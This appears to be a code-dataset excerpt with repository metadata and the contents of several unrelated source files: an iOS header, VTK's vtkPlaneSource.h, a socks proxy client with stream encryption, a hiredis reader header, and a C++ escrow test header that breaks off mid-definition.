hexsha
stringlengths
40
40
size
int64
5
2.72M
ext
stringclasses
5 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
976
max_stars_repo_name
stringlengths
5
113
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
float64
1
191k
max_stars_repo_stars_event_min_datetime
stringdate
2015-01-01 00:01:43
2022-03-31 23:59:48
max_stars_repo_stars_event_max_datetime
stringdate
2015-01-01 00:06:24
2022-03-31 23:59:53
max_issues_repo_path
stringlengths
3
976
max_issues_repo_name
stringlengths
5
116
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
float64
1
134k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
976
max_forks_repo_name
stringlengths
5
116
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
float64
1
105k
max_forks_repo_forks_event_min_datetime
stringdate
2015-01-01 00:01:19
2022-03-31 23:59:49
max_forks_repo_forks_event_max_datetime
stringdate
2015-01-03 12:00:57
2022-03-31 23:59:49
content
stringlengths
5
2.72M
avg_line_length
float64
1.38
573k
max_line_length
int64
2
1.01M
alphanum_fraction
float64
0
1
8609a72826064672801626a9ad42d7ea8984c7ed
247
h
C
CoreAnimationDemo/CoreAnimationDemo/ManualAnimationViewController.h
yidahis/CoreAnimationDemo
995ce63cd82def3678285fd1a94d253a48a88774
[ "MIT" ]
null
null
null
CoreAnimationDemo/CoreAnimationDemo/ManualAnimationViewController.h
yidahis/CoreAnimationDemo
995ce63cd82def3678285fd1a94d253a48a88774
[ "MIT" ]
null
null
null
CoreAnimationDemo/CoreAnimationDemo/ManualAnimationViewController.h
yidahis/CoreAnimationDemo
995ce63cd82def3678285fd1a94d253a48a88774
[ "MIT" ]
null
null
null
// // ManualAnimationViewController.h // CoreAnimationDemo // // Created by yiwanjun on 16/5/10. // Copyright © 2016年 yidahis. All rights reserved. // #import <UIKit/UIKit.h> @interface ManualAnimationViewController : UIViewController @end
17.642857
59
0.740891
860a5cc2f6668e4fa252dd76ae1425530da97d33
5,790
h
C
IMU/VTK-6.2.0/Filters/Sources/vtkPlaneSource.h
timkrentz/SunTracker
9a189cc38f45e5fbc4e4c700d7295a871d022795
[ "MIT" ]
4
2016-03-30T14:31:52.000Z
2019-02-02T05:01:32.000Z
IMU/VTK-6.2.0/Filters/Sources/vtkPlaneSource.h
timkrentz/SunTracker
9a189cc38f45e5fbc4e4c700d7295a871d022795
[ "MIT" ]
null
null
null
IMU/VTK-6.2.0/Filters/Sources/vtkPlaneSource.h
timkrentz/SunTracker
9a189cc38f45e5fbc4e4c700d7295a871d022795
[ "MIT" ]
null
null
null
/*========================================================================= Program: Visualization Toolkit Module: vtkPlaneSource.h Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen All rights reserved. See Copyright.txt or http://www.kitware.com/Copyright.htm for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notice for more information. =========================================================================*/ // .NAME vtkPlaneSource - create an array of quadrilaterals located in a plane // .SECTION Description // vtkPlaneSource creates an m x n array of quadrilaterals arranged as // a regular tiling in a plane. The plane is defined by specifying an // origin point, and then two other points that, together with the // origin, define two axes for the plane. These axes do not have to be // orthogonal - so you can create a parallelogram. (The axes must not // be parallel.) The resolution of the plane (i.e., number of subdivisions) is // controlled by the ivars XResolution and YResolution. // // By default, the plane is centered at the origin and perpendicular to the // z-axis, with width and height of length 1 and resolutions set to 1. // // There are three convenience methods that allow you to easily move the // plane. The first, SetNormal(), allows you to specify the plane // normal. The effect of this method is to rotate the plane around the center // of the plane, aligning the plane normal with the specified normal. The // rotation is about the axis defined by the cross product of the current // normal with the new normal. The second, SetCenter(), translates the center // of the plane to the specified center point. The third method, Push(), // allows you to translate the plane along the plane normal by the distance // specified. (Negative Push values translate the plane in the negative // normal direction.) Note that the SetNormal(), SetCenter() and Push() // methods modify the Origin, Point1, and/or Point2 instance variables. // .SECTION Caveats // The normal to the plane will point in the direction of the cross product // of the first axis (Origin->Point1) with the second (Origin->Point2). This // also affects the normals to the generated polygons. #ifndef vtkPlaneSource_h #define vtkPlaneSource_h #include "vtkFiltersSourcesModule.h" // For export macro #include "vtkPolyDataAlgorithm.h" class VTKFILTERSSOURCES_EXPORT vtkPlaneSource : public vtkPolyDataAlgorithm { public: void PrintSelf(ostream& os, vtkIndent indent); vtkTypeMacro(vtkPlaneSource,vtkPolyDataAlgorithm); // Description: // Construct plane perpendicular to z-axis, resolution 1x1, width // and height 1.0, and centered at the origin. static vtkPlaneSource *New(); // Description: // Specify the resolution of the plane along the first axes. vtkSetMacro(XResolution,int); vtkGetMacro(XResolution,int); // Description: // Specify the resolution of the plane along the second axes. vtkSetMacro(YResolution,int); vtkGetMacro(YResolution,int); // Description: // Set the number of x-y subdivisions in the plane. void SetResolution(const int xR, const int yR); void GetResolution(int& xR,int& yR) { xR=this->XResolution; yR=this->YResolution;}; // Description: // Specify a point defining the origin of the plane. vtkSetVector3Macro(Origin,double); vtkGetVectorMacro(Origin,double,3); // Description: // Specify a point defining the first axis of the plane. void SetPoint1(double x, double y, double z); void SetPoint1(double pnt[3]); vtkGetVectorMacro(Point1,double,3); // Description: // Specify a point defining the second axis of the plane. void SetPoint2(double x, double y, double z); void SetPoint2(double pnt[3]); vtkGetVectorMacro(Point2,double,3); // Description: // Set/Get the center of the plane. Works in conjunction with the plane // normal to position the plane. Don't use this method to define the plane. // Instead, use it to move the plane to a new center point. void SetCenter(double x, double y, double z); void SetCenter(double center[3]); vtkGetVectorMacro(Center,double,3); // Description: // Set/Get the plane normal. Works in conjunction with the plane center to // orient the plane. Don't use this method to define the plane. Instead, use // it to rotate the plane around the current center point. void SetNormal(double nx, double ny, double nz); void SetNormal(double n[3]); vtkGetVectorMacro(Normal,double,3); // Description: // Translate the plane in the direction of the normal by the // distance specified. Negative values move the plane in the // opposite direction. void Push(double distance); // Description: // Set/get the desired precision for the output points. // vtkAlgorithm::SINGLE_PRECISION - Output single-precision floating point. // vtkAlgorithm::DOUBLE_PRECISION - Output double-precision floating point. vtkSetMacro(OutputPointsPrecision,int); vtkGetMacro(OutputPointsPrecision,int); protected: vtkPlaneSource(); ~vtkPlaneSource() {} int RequestData(vtkInformation *, vtkInformationVector **, vtkInformationVector *); int XResolution; int YResolution; double Origin[3]; double Point1[3]; double Point2[3]; double Normal[3]; double Center[3]; int OutputPointsPrecision; int UpdatePlane(double v1[3], double v2[3]); private: vtkPlaneSource(const vtkPlaneSource&); // Not implemented. void operator=(const vtkPlaneSource&); // Not implemented. }; #endif
39.657534
86
0.706736
860b588c9a9845e4ffd8dc68c5ac773479fe5f62
10,925
c
C
socksclient/BSocksClient.c
BestOwl/Tun2SocksWinRT
6e062b99b29332e695de3afcc3770b2d0438019c
[ "BSD-3-Clause" ]
4
2019-04-28T13:13:13.000Z
2020-11-09T12:46:54.000Z
socksclient/BSocksClient.c
BestOwl/Tun2SocksWinRT
6e062b99b29332e695de3afcc3770b2d0438019c
[ "BSD-3-Clause" ]
null
null
null
socksclient/BSocksClient.c
BestOwl/Tun2SocksWinRT
6e062b99b29332e695de3afcc3770b2d0438019c
[ "BSD-3-Clause" ]
null
null
null
/** * @file BSocksClient.c * @author Ambroz Bizjak <ambrop7@gmail.com> * * @section LICENSE * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the author nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <string.h> #include <misc/byteorder.h> #include <misc/balloc.h> #include <base/BLog.h> #include <socksclient/BSocksClient.h> #include <generated/blog_channel_BSocksClient.h> #define STATE_CONNECTING 1 #define STATE_SENDING_HELLO 2 #define STATE_SENT_HELLO 3 #define STATE_SENDING_PASSWORD 10 #define STATE_SENT_PASSWORD 11 #define STATE_SENDING_REQUEST 4 #define STATE_SENT_REQUEST 5 #define STATE_RECEIVED_REPLY_HEADER 6 #define STATE_UP 7 static void report_error (BSocksClient *o, int error); static void init_crypto_io(BSocksClient *o); static void free_crypto_io(BSocksClient *o); static void init_up_io (BSocksClient *o); static void free_up_io (BSocksClient *o); static int reserve_buffer (BSocksClient *o, bsize_t size); static void connector_handler (BSocksClient* o, int is_error); static void connection_handler (BSocksClient* o, int event); static void build_header(BSocksClient *p); void report_error (BSocksClient *o, int error) { DEBUGERROR(&o->d_err, o->handler(o->user, error)) } static void encrypt_handler(BSocksClient *o, uint8_t *data, int data_len) { // allocate cipher buffer if (!(o->cipher_buffer = BAlloc(data_len * 2))) { BLog(BLOG_ERROR, "BAlloc failed"); return; } size_t cipher_buf_len; size_t iv_size = 0; size_t en_header_size = 0; // IV and header only need in the first packet if (!o->first_packet_sent) { // generate and copy IV iv_size = o->ss_iv_len; random_iv(o->ss_iv, iv_size); memcpy(o->cipher_buffer, o->ss_iv, iv_size); // init encryptor encryptor_Init(o->encryptor, o->ss_iv); // copy header en_header_size = encrypt(o->encryptor, o->header_buffer, o->header_len, o->cipher_buffer + iv_size); o->first_packet_sent = 1; } cipher_buf_len = encrypt(o->encryptor, data, data_len, o->cipher_buffer + iv_size + en_header_size); cipher_buf_len += iv_size += en_header_size; o->plain_len = data_len; StreamPassInterface_Sender_Send(&o->con.send.iface, o->cipher_buffer, cipher_buf_len); } static void decrypt_handler(BSocksClient *o, uint8_t *data, int data_len) { // allocate recv buffer if (!(o->socks_recv_buf = BAlloc(data_len))) { BLog(BLOG_ERROR, "BAlloc failed"); return; } o->decrypted_buf = data; // padding to receive StreamRecvInterface_Receiver_Recv(&o->con.recv.iface, o->socks_recv_buf, data_len); } static void init_crypto_io(BSocksClient *o) { // init reading StreamRecvInterface_Init(&o->decrypt_if, decrypt_handler, o, BReactor_PendingGroup(o->reactor)); // init sending StreamPassInterface_Init(&o->encrypt_if, encrypt_handler, o, BReactor_PendingGroup(o->reactor)); } static void free_crypto_io(BSocksClient *o) { // free sending StreamPassInterface_Free(&o->encrypt_if); //free reading StreamRecvInterface_Free(&o->decrypt_if); } static void up_handler_done(BSocksClient *o, int data_len) { StreamPassInterface_Done(&o->encrypt_if, o->plain_len); o->plain_len = 0; // free buffer BFree(o->cipher_buffer); } static void down_handler_done(BSocksClient *o, int data_len) { size_t iv_size = 0; if (!o->first_packet_recved) { memcpy(o->ss_remote_iv, o->socks_recv_buf, o->ss_iv_len); iv_size = o->ss_iv_len; // init decryptor decryptor_Init(o->decryptor, o->ss_remote_iv); o->first_packet_recved = 1; } size_t len = decrypt(o->decryptor, o->socks_recv_buf + iv_size, data_len - iv_size, o->decrypted_buf); StreamRecvInterface_Done(&o->decrypt_if, len); // free buffer BFree(o->socks_recv_buf); } void init_up_io (BSocksClient *o) { // init receiving BConnection_RecvAsync_Init(&o->con); StreamRecvInterface_Receiver_Init(&o->con.recv.iface, down_handler_done, o); // init sending BConnection_SendAsync_Init(&o->con); StreamPassInterface_Sender_Init(&o->con.send.iface, up_handler_done, o); } void free_up_io (BSocksClient *o) { // free sending BConnection_SendAsync_Free(&o->con); // free receiving BConnection_RecvAsync_Free(&o->con); } int reserve_buffer (BSocksClient *o, bsize_t size) { if (size.is_overflow) { BLog(BLOG_ERROR, "size overflow"); return 0; } char *buffer = (char *)BRealloc(o->header_buffer, size.value); if (!buffer) { BLog(BLOG_ERROR, "BRealloc failed"); return 0; } o->header_buffer = buffer; return 1; } void connector_handler (BSocksClient* o, int is_error) { DebugObject_Access(&o->d_obj); ASSERT(o->state == STATE_CONNECTING) // check connection result if (is_error) { BLog(BLOG_ERROR, "connection failed"); goto fail0; } // init connection if (!BConnection_Init(&o->con, BConnection_source_connector(&o->connector), o->reactor, o, (BConnection_handler)connection_handler)) { BLog(BLOG_ERROR, "BConnection_Init failed"); goto fail0; } BLog(BLOG_DEBUG, "connected"); o->first_packet_sent = 0; o->first_packet_recved = 0; // init buffer build_header(o); // init cryptor o->encryptor = EVP_CIPHER_CTX_new(); o->decryptor = EVP_CIPHER_CTX_new(); // init crypto io init_crypto_io(o); // init up I/O init_up_io(o); // set state o->state = STATE_UP; // call handler o->handler(o->user, BSOCKSCLIENT_EVENT_UP); return; fail0: report_error(o, BSOCKSCLIENT_EVENT_ERROR); return; } void connection_handler (BSocksClient* o, int event) { DebugObject_Access(&o->d_obj); ASSERT(o->state != STATE_CONNECTING) if (o->state == STATE_UP && event == BCONNECTION_EVENT_RECVCLOSED) { report_error(o, BSOCKSCLIENT_EVENT_ERROR_CLOSED); return; } report_error(o, BSOCKSCLIENT_EVENT_ERROR); return; } void build_header (BSocksClient *o) { // allocate request buffer bsize_t size = bsize_fromsize(sizeof(struct socks_request_header)); switch (o->dest_addr.type) { case BADDR_TYPE_IPV4: size = bsize_add(size, bsize_fromsize(sizeof(struct socks_addr_ipv4))); break; case BADDR_TYPE_IPV6: size = bsize_add(size, bsize_fromsize(sizeof(struct socks_addr_ipv6))); break; } if (!reserve_buffer(o, size)) { report_error(o, BSOCKSCLIENT_EVENT_ERROR); return; } o->header_len = size.value; // write request struct socks_request_header header; switch (o->dest_addr.type) { case BADDR_TYPE_IPV4: { header.atyp = hton8(SOCKS_ATYP_IPV4); struct socks_addr_ipv4 addr; addr.addr = o->dest_addr.ipv4.ip; addr.port = o->dest_addr.ipv4.port; memcpy(o->header_buffer + sizeof(header), &addr, sizeof(addr)); } break; case BADDR_TYPE_IPV6: { header.atyp = hton8(SOCKS_ATYP_IPV6); struct socks_addr_ipv6 addr; memcpy(addr.addr, o->dest_addr.ipv6.ip, sizeof(o->dest_addr.ipv6.ip)); addr.port = o->dest_addr.ipv6.port; memcpy(o->header_buffer + sizeof(header), &addr, sizeof(addr)); } break; default: ASSERT(0); } memcpy(o->header_buffer, &header, sizeof(header)); } int BSocksClient_Init (BSocksClient *o, BAddr server_addr, const struct BSocksClient_auth_info *auth_info, size_t num_auth_info, BAddr dest_addr, BSocksClient_handler handler, void *user, BReactor *reactor) { ASSERT(!BAddr_IsInvalid(&server_addr)) ASSERT(dest_addr.type == BADDR_TYPE_IPV4 || dest_addr.type == BADDR_TYPE_IPV6) // init arguments o->dest_addr = dest_addr; o->handler = handler; o->user = user; o->reactor = reactor; // set no buffer o->header_buffer = NULL; // init connector if (!BConnector_Init(&o->connector, server_addr, o->reactor, o, (BConnector_handler)connector_handler)) { BLog(BLOG_ERROR, "BConnector_Init failed"); goto fail0; } // init iv buffer o->ss_iv_len = ss_crypto_info.iv_size; if (!(o->ss_iv = BAlloc(o->ss_iv_len))) { BLog(BLOG_ERROR, "BAlloc failed"); return 0; } if (!(o->ss_remote_iv = BAlloc(o->ss_iv_len))) { BLog(BLOG_ERROR, "BAlloc failed"); return 0; } // set state o->state = STATE_CONNECTING; DebugError_Init(&o->d_err, BReactor_PendingGroup(o->reactor)); DebugObject_Init(&o->d_obj); return 1; fail0: return 0; } void BSocksClient_Free (BSocksClient *o) { DebugObject_Free(&o->d_obj); DebugError_Free(&o->d_err); if (o->state != STATE_CONNECTING) { if (o->state == STATE_UP) { // free up I/O free_up_io(o); free_crypto_io(o); // free cryptor cryptor_free(o->encryptor); cryptor_free(o->decryptor); } // free connection BConnection_Free(&o->con); } // free connector BConnector_Free(&o->connector); // free buffer if (o->header_buffer) { BFree(o->header_buffer); } if (o->ss_iv) { BFree(o->ss_iv); } if (o->ss_remote_iv) { BFree(o->ss_remote_iv); } } StreamPassInterface * BSocksClient_GetSendInterface (BSocksClient *o) { ASSERT(o->state == STATE_UP) DebugObject_Access(&o->d_obj); return &o->encrypt_if; } StreamRecvInterface * BSocksClient_GetRecvInterface (BSocksClient *o) { ASSERT(o->state == STATE_UP) DebugObject_Access(&o->d_obj); return &o->decrypt_if; }
27.176617
138
0.687963
860b861b4ce896c58354190976c2b5ebd7a7751e
149
c
C
example/lib/Greetings.c
spoorcc/CppUMockify
151bf4ab1b3ed84333217ec9f430003626f01c8c
[ "0BSD" ]
null
null
null
example/lib/Greetings.c
spoorcc/CppUMockify
151bf4ab1b3ed84333217ec9f430003626f01c8c
[ "0BSD" ]
null
null
null
example/lib/Greetings.c
spoorcc/CppUMockify
151bf4ab1b3ed84333217ec9f430003626f01c8c
[ "0BSD" ]
null
null
null
#include <MyModule.h> #include <Greetings.h> int Greetings_DoStuff(const char name[]) { MyModule_SayHello(name); MyModule_SayGoodbye(); }
13.545455
40
0.711409
860d353f0b4d98cf644b1fe6088151969a529645
649
h
C
src/reader.h
Solution4Future/hiredis-py
ca6077bd4c67a323fd6c09edf897155c14963436
[ "BSD-3-Clause" ]
1
2021-01-27T10:08:06.000Z
2021-01-27T10:08:06.000Z
src/reader.h
Solution4Future/hiredis-py
ca6077bd4c67a323fd6c09edf897155c14963436
[ "BSD-3-Clause" ]
null
null
null
src/reader.h
Solution4Future/hiredis-py
ca6077bd4c67a323fd6c09edf897155c14963436
[ "BSD-3-Clause" ]
null
null
null
#ifndef __READER_H #define __READER_H #include "hiredis.h" typedef struct { PyObject_HEAD redisReader *reader; char *encoding; PyObject *protocolErrorClass; PyObject *replyErrorClass; /* Stores error object in between incomplete calls to #gets, in order to * only set the error once a full reply has been read. Otherwise, the * reader could get in an inconsistent state. */ struct { PyObject *ptype; PyObject *pvalue; PyObject *ptraceback; } error; } hiredis_ReaderObject; extern PyTypeObject hiredis_ReaderType; extern redisReplyObjectFunctions hiredis_ObjectFunctions; #endif
24.037037
76
0.716487
860f04b09bc5b591dc727cac1e089bcd1901bb39
28,573
h
C
tests/core_tests/escrow_wallet_altchain_test.h
Virie/Virie
fc5ad5816678b06b88d08a6842e43d4205915b39
[ "MIT" ]
1
2021-03-07T13:26:43.000Z
2021-03-07T13:26:43.000Z
tests/core_tests/escrow_wallet_altchain_test.h
Virie/Virie
fc5ad5816678b06b88d08a6842e43d4205915b39
[ "MIT" ]
null
null
null
tests/core_tests/escrow_wallet_altchain_test.h
Virie/Virie
fc5ad5816678b06b88d08a6842e43d4205915b39
[ "MIT" ]
null
null
null
// Copyright (c) 2014-2020 The Virie Project // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #pragma once #include "chaingen.h" #include "wallet_tests_basic.h" // EAM = escrow altchain meta (test) // It takes a sequence of high-level escrow events and transforms it into a sequence of generic coretest events, which in turn are played back by the test engine (chaingen_main). enum { eam_contract_state_initial = 0, eam_contract_state_none = (uint32_t)(-1) }; // extention for tools::wallet_rpc::escrow_contract_details_basic::contract_state enum { eam_tx_unknown = 0, eam_tx_make, eam_tx_confirm, eam_tx_make_and_confirm }; // make = construct tx and send it to the pool; confirm = put tx into a block using contract_states = tools::wallet_rpc::escrow_contract_details_basic; struct eam_event_noop { }; struct eam_event_proposal { eam_event_proposal(uint32_t tx_behavior = eam_tx_make_and_confirm, uint64_t a_proposal_fee = TESTS_DEFAULT_FEE, uint64_t b_release_fee = TESTS_DEFAULT_FEE, uint64_t unlock_time = 0, uint64_t expiration_period = 60 * 60) : tx_behavior(tx_behavior) , a_proposal_fee(a_proposal_fee) , b_release_fee(b_release_fee) , unlock_time(unlock_time) , expiration_period(expiration_period) {} uint32_t tx_behavior; uint64_t a_proposal_fee; uint64_t b_release_fee; uint64_t unlock_time; uint64_t expiration_period; }; struct eam_event_acceptance { eam_event_acceptance(uint32_t tx_behavior = eam_tx_make_and_confirm, uint64_t b_acceptance_fee = TESTS_DEFAULT_FEE) : tx_behavior(tx_behavior) , b_acceptance_fee(b_acceptance_fee) {} uint32_t tx_behavior; uint64_t b_acceptance_fee; }; struct eam_event_release { eam_event_release(uint32_t tx_behavior = eam_tx_make_and_confirm, bool burn = false) : tx_behavior(tx_behavior) , burn(burn) {} uint32_t tx_behavior; bool burn; }; struct eam_event_cancellation_proposal { eam_event_cancellation_proposal(uint32_t tx_behavior = eam_tx_make_and_confirm, uint64_t a_cancellation_fee = TESTS_DEFAULT_FEE, uint64_t expiration_period = 60 * 60) : tx_behavior(tx_behavior) , a_cancellation_fee(a_cancellation_fee) , expiration_period(expiration_period) {} uint32_t tx_behavior; uint64_t a_cancellation_fee; uint64_t expiration_period; }; struct eam_event_release_cancel { eam_event_release_cancel(uint32_t tx_behavior = eam_tx_make_and_confirm) : tx_behavior(tx_behavior) {} uint32_t tx_behavior; }; struct eam_event_refresh_and_check { eam_event_refresh_and_check(uint32_t expected_blocks, uint32_t a_state = eam_contract_state_none, uint32_t b_state = eam_contract_state_none, uint64_t a_balance = UINT64_MAX, uint64_t b_balance = UINT64_MAX) : expected_blocks(expected_blocks) , a_state(a_state) , b_state(b_state) , a_balance(a_balance) , b_balance(b_balance) {} uint32_t expected_blocks; // how many block refresh() is expected to sync (both A and B) uint32_t a_state; // eam_contract_state_none if shouldn't check uint32_t b_state; // eam_contract_state_none if shouldn't check uint64_t a_balance; // UINT64_MAX if shouldn't check uint64_t b_balance; // UINT64_MAX if shouldn't check }; struct eam_event_go_to { eam_event_go_to(const std::string& label) : label(label) {} std::string label; }; struct eam_event_check_top_block { eam_event_check_top_block(uint64_t height) : height(height) {} eam_event_check_top_block(uint64_t height, const std::string& label) : height(height) , label(label) {} uint64_t height; std::string label; }; struct eam_event_transfer { eam_event_transfer(uint32_t party_from, uint32_t party_to, uint64_t amount, uint64_t fee = TESTS_DEFAULT_FEE) : party_from(party_from) , party_to(party_to) , amount(amount) , fee(fee) {} uint32_t party_from; uint32_t party_to; uint64_t amount; uint64_t fee; }; typedef boost::variant<eam_event_noop, eam_event_proposal, eam_event_acceptance, eam_event_release, eam_event_cancellation_proposal, eam_event_release_cancel, eam_event_refresh_and_check, eam_event_go_to, eam_event_check_top_block, eam_event_transfer> eam_event_v; // flag mask for eam_event_t enum { eam_f_normal = 0, eam_f_error = 1 << 0, eam_f_no_block = 1 << 1 }; enum { start_amount_outs_default = 10 }; struct eam_event_t { eam_event_t(uint64_t height, uint32_t flag_mask, eam_event_v v) : height(height) , flag_mask(flag_mask) , v(v) {} eam_event_t(uint64_t height, uint32_t flag_mask, eam_event_v v, const char* label) : height(height) , flag_mask(flag_mask) , v(v) , label(label) {} uint64_t height; // height at which smth should happen uint32_t flag_mask; eam_event_v v; // what should happen std::string label; // in case we should be able to reference it to later }; struct eam_test_data_t { eam_test_data_t(uint64_t alice_bob_start_amount, size_t start_amount_outs_count, bc_services::contract_private_details &cpd, const std::vector<eam_event_t>& events) : alice_bob_start_amount(alice_bob_start_amount) , start_amount_outs_count(start_amount_outs_count) , cpd(cpd) , events(events) , ms_id(currency::null_hash) {} uint64_t alice_bob_start_amount; size_t start_amount_outs_count; bc_services::contract_private_details cpd; std::vector<eam_event_t> events; crypto::hash ms_id; // multisig out id (contract id) currency::transaction proposal_tx; // to hold created proposal tx currency::transaction acceptance_tx; // to hold created acceptance tx currency::transaction release_tx; // to hold created release tx currency::transaction cancellation_proposal_tx; // to hold created cancellation_proposal tx currency::transaction release_cancel_tx; }; //============================================================================================================================== // individual tests speficiation //============================================================================================================================== template<int test_data_idx> struct escrow_altchain_meta_test_data { enum { empty_marker = true }; }; /* IDEAS: flag_normal, flag_error, flag_no_block struct A { std::string comment; currency::account_public_address a_addr; // usually buyer currency::account_public_address b_addr; // usually seller uint64_t amount_to_pay; uint64_t amount_a_pledge; uint64_t amount_b_pledge; }; constexpr static crypto::public_key my_null_pkey = { }; constexpr static currency::account_public_address my_null_pub_addr = { my_null_pkey, my_null_pkey }; */ // subtest 0 - straightforward contract flow, basic checks template<> struct escrow_altchain_meta_test_data<0> { constexpr static uint64_t alice_bob_start_amount = TESTS_DEFAULT_FEE * 1000; bc_services::contract_private_details cpd = { "title", "comment", currency::null_pub_addr, currency::null_pub_addr, // a_addr and b_addr, will be set in generate() TESTS_DEFAULT_FEE * 10, // amount_to_pay TESTS_DEFAULT_FEE * 50, // amount_a_pledge TESTS_DEFAULT_FEE * 50, // amount_b_pledge }; eam_test_data_t data = eam_test_data_t(alice_bob_start_amount, start_amount_outs_default, cpd, { eam_event_t(30, 0, eam_event_proposal(eam_tx_make)), eam_event_t(31, 0, eam_event_refresh_and_check(1)), eam_event_t(32, 0, eam_event_acceptance(eam_tx_make)), eam_event_t(33, 0, eam_event_refresh_and_check(2, contract_states::contract_accepted, contract_states::contract_accepted)), eam_event_t(34, 0, eam_event_proposal(eam_tx_confirm)), eam_event_t(35, 0, eam_event_refresh_and_check(2, contract_states::proposal_sent, contract_states::proposal_sent)), eam_event_t(36, eam_f_error, eam_event_release(eam_tx_make_and_confirm)), // should trigger an error, because contracts are in incorrect state eam_event_t(37, 0, eam_event_acceptance(eam_tx_confirm)), eam_event_t(38, 0, eam_event_refresh_and_check(3, contract_states::contract_accepted, contract_states::contract_accepted)), eam_event_t(39, 0, eam_event_release(eam_tx_make_and_confirm)), eam_event_t(40, 0, eam_event_refresh_and_check(2, contract_states::contract_released_normal, contract_states::contract_released_normal)), }); }; // subtest 1 - simple cancellation template<> struct escrow_altchain_meta_test_data<1> { constexpr static uint64_t alice_bob_start_amount = TESTS_DEFAULT_FEE * 1000; bc_services::contract_private_details cpd = { "title", "comment", currency::null_pub_addr, currency::null_pub_addr, // a_addr and b_addr, will be set in generate() TESTS_DEFAULT_FEE * 10, // amount_to_pay TESTS_DEFAULT_FEE * 50, // amount_a_pledge TESTS_DEFAULT_FEE * 50, // amount_b_pledge }; eam_test_data_t data = eam_test_data_t(alice_bob_start_amount, start_amount_outs_default, cpd, { eam_event_t(30, 0, eam_event_proposal(eam_tx_make_and_confirm)), eam_event_t(31, 0, eam_event_refresh_and_check(1)), eam_event_t(32, 0, eam_event_acceptance(eam_tx_make_and_confirm)), eam_event_t(33, 0, eam_event_refresh_and_check(2, contract_states::contract_accepted, contract_states::contract_accepted)), eam_event_t(34, 0, eam_event_cancellation_proposal(eam_tx_make_and_confirm)), eam_event_t(35, 0, eam_event_refresh_and_check(2, contract_states::contract_cancel_proposal_sent, contract_states::contract_cancel_proposal_sent)), eam_event_t(36, 0, eam_event_release_cancel(eam_tx_make_and_confirm)), eam_event_t(37, 0, eam_event_refresh_and_check(2, contract_states::contract_released_cancelled, contract_states::contract_released_cancelled)), }); }; // subtest 2 - simple chain switching template<> struct escrow_altchain_meta_test_data<2> { constexpr static uint64_t alice_bob_start_amount = TESTS_DEFAULT_FEE * 1000; bc_services::contract_private_details cpd = { "title", "comment", currency::null_pub_addr, currency::null_pub_addr, // a_addr and b_addr, will be set in generate() TESTS_DEFAULT_FEE * 10, // amount_to_pay TESTS_DEFAULT_FEE * 50, // amount_a_pledge TESTS_DEFAULT_FEE * 50, // amount_b_pledge }; // 30- 31- 32- 33- chain A // (p) | ! (p) - unconfirmed proposal, ! - block triggered chain switching // \- 32- 33- 34- 35- 36- 37- chain B // p a rb p - confirmed proposal, a - acceptance, rb - release burn eam_test_data_t data = eam_test_data_t(alice_bob_start_amount, start_amount_outs_default, cpd, { // chain A eam_event_t(30, 0, eam_event_proposal(eam_tx_make)), eam_event_t(31, 0, eam_event_noop(), "bifurcation_point"), eam_event_t(34, 0, eam_event_go_to("bifurcation_point")), // make block 31 being prev for the next one // chain B eam_event_t(32, 0, eam_event_proposal(eam_tx_confirm)), eam_event_t(33, 0, eam_event_refresh_and_check(4, contract_states::proposal_sent, contract_states::proposal_sent)), // 4 blocks: 30..33 because wallets are still at main chain eam_event_t(34, 0, eam_event_acceptance(eam_tx_make_and_confirm)), // chain switch should happen here eam_event_t(35, 0, eam_event_check_top_block(34)), eam_event_t(36, 0, eam_event_refresh_and_check(4, contract_states::contract_accepted, contract_states::contract_accepted)), // 4 block: detach to 32 due to chain switch, then go 32..35 eam_event_t(37, 0, eam_event_release(eam_tx_make_and_confirm, true)), eam_event_t(38, 0, eam_event_refresh_and_check(2, contract_states::contract_released_burned, contract_states::contract_released_burned)), }); }; // subtest 3 - chain switching after contract acceptance template<> struct escrow_altchain_meta_test_data<3> { constexpr static uint64_t alice_bob_start_amount = TESTS_DEFAULT_FEE * 1000; bc_services::contract_private_details cpd = { "title", "comment", currency::null_pub_addr, currency::null_pub_addr, // a_addr and b_addr, will be set in generate() TESTS_DEFAULT_FEE * 10, // amount_to_pay TESTS_DEFAULT_FEE * 50, // amount_a_pledge TESTS_DEFAULT_FEE * 50, // amount_b_pledge }; // 30- 31- 32- 33- 34- 35- chain A // p w (a) | a w p - confirmed proposal, (a) - unconfirmed acceptance, a - confirmed acceptance, w - wallet refresh // | ! ! - block triggered 